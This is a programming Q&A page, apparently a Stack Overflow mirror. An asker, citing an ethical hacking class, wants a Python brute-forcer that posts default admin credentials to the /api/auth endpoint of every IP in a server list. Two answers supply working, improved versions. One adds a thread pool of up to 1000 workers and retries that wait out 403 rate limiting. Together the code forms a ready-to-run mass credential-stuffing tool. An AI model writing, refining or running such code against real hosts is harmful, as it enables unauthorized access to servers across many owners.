Home > Software engineering >  Stop multiprocessing from going through entire list for function for bruteforcer
Stop multiprocessing from going through entire list for function for bruteforcer

Time:12-12

I am trying to make a brute forcer for my ethical hacking class using multiprocessing, I want it to iterate through the list of server IP's and try one login for each of them, but it is printing every single IP before trying to make connections, and then once all the IP's have been printed, it will start trying to make connections then print a couple IP's, then try to make another connection, and so on.

I just want it to iterate through the list of IP's and try to connect to each one, one process for each connection and try about 20 processes at a time

import threading, requests, time, os, multiprocessing
global count2

login_list=[{"username":"admin","password":"Password1"}]

with open('Servers.txt') as f:
    lines = [line.rstrip() for line in f]

count=[]
for number in range(len(lines)):
    count.append(number)
    count2 = count

def login(n):
    try:
        url = 'http://' lines[n] '/api/auth'
        print(url)
        if '/#!/init/admin' in url:
            print('[~] Admin panel detected, saving url and moving to next...')
        x = requests.post(url, json = login_list)
        if x.status_code == 422:
            print('[-] Failed to connect, trying again...')
            print(n)
        if x.status_code == 403:
            print('[!] 403 Forbidden, "Access denied to resource", Possibly to many tries. Trying again in 20 seconds')
            time.sleep(20)
            print(n)
        if x.status_code == 200:
            print('\n[~] Connection successful! Login to ' url ' saved.\n')
            print(n)
    except:
        print('[#] No more logins to try for ' url ' moving to next server...')
        print('--------------')

if __name__ == "__main__":
    # creating a pool object
    p = multiprocessing.Pool()
    # map list to target function
    result = p.map(login, count2)

An example of the Server.txt file:

83.88.223.86:9000
75.37.144.153:9000
138.244.6.184:9000
34.228.116.82:9000
125.209.107.178:9000
33.9.12.53:9000

Those are not real IP adresses

CodePudding user response:

I think you're confused about how the subprocess map function passes values to the relevant process. Perhaps this will make matters clearer:

from multiprocessing import Pool
import requests
import sys
from requests.exceptions import HTTPError, ConnectionError

IPLIST = ['83.88.223.86:9000',
'75.37.144.153:9000',
'138.244.6.184:9000',
'34.228.116.82:9000',
'125.209.107.178:9000',
'33.9.12.53:9000',
'www.google.com']

PARAMS = {'username': 'admin', 'password': 'passw0rd'}

def err(msg):
    print(msg, file=sys.stderr)

def process(ip):
    with requests.Session() as session:
        url = f'http://{ip}/api/auth'
        try:
            (r := session.post(url, json=PARAMS, timeout=1)).raise_for_status()
        except ConnectionError:
            err(f'Unable to connect to {url}')
        except HTTPError:
            err(f'HTTP {r.status_code} for {url}')
        except Exception as e:
            err(f'Unexpected exception {e}')


def main():
    with Pool() as pool:
        pool.map(process, IPLIST)

if __name__ == '__main__':
    main()

Additional notes: You probably want to specify a timeout otherwise unreachable addresses will take a long time to process due to default retries. Review the exception handling.

CodePudding user response:

The first thing I would mention is that this is a job best suited for multithreading since login is mostly waiting for network requests to complete and it is far more efficient to create threads than to create processes. In fact you should create a thread pool whose size is equal to the number of URLs you will be posting to up to a maximum of say a 1000 (and you would not want to create a multiprocessing pool of that size).

Second, when you are doing multiprocessing or multithreading your worker function, login in this case, is processing a single element of the iterable that is being passed to the map function. I think you get that. But instead of passing to map the list of servers you are passing a list of numbers (which are indices) and then login is using that index to get the information from the lines list. That is rather indirect. Also, the way you build the list of indices could have been simplified with one line: count2 = list(range(len(lines))) or really just count2 = range(len(lines)) (you don't need a list).

Third, in your code you say that you are retrying certain errors but there is actually no logic to do so.

import requests
from multiprocessing.pool import ThreadPool
from functools import partial
import time

# This must be a dict not a list:
login_params = {"username": "admin", "password": "Password1"}

with open('Servers.txt') as f:
    servers = [line.rstrip() for line in f]

def login(session, server):
    url = f'http://{server}/api/auth'
    print(url)

    if '/#!/init/admin' in url:
        print(f'[~] Admin panel detected, saving {url} and moving to next...')
        # To move on the next, you simply return
        # because you are through with this URL:
        return

    try:
        for retry_count in range(1, 4): # will retry up to 3 times certain errors:
            r = session.post(url, json=login_params)

            if retry_count == 3:
                # This was the last try:
                break

            if r.status_code == 422:
                print(f'[-] Failed to connect to {url}, trying again...')
            elif r.status_code == 403:
                print(f'[!] 403 Forbidden, "Access denied to resource", Possibly to many tries. Trying {url} again in 20 seconds')
                time.sleep(20)
            else:
                break # not something we retry

        r.raise_for_status() # test status code
    except Exception as e:
        print('Got exception: ', e)
    else:
        print(f'\n[~] Connection successful! Login to {url} saved.\n')

if __name__ == "__main__":
    # creating a pool object
    with ThreadPool(min(len(servers), 1000)) as pool, \
    requests.Session() as session:
        # map will return list of None since `login` returns None implicitly:
        pool.map(partial(login, session), servers)
  • Related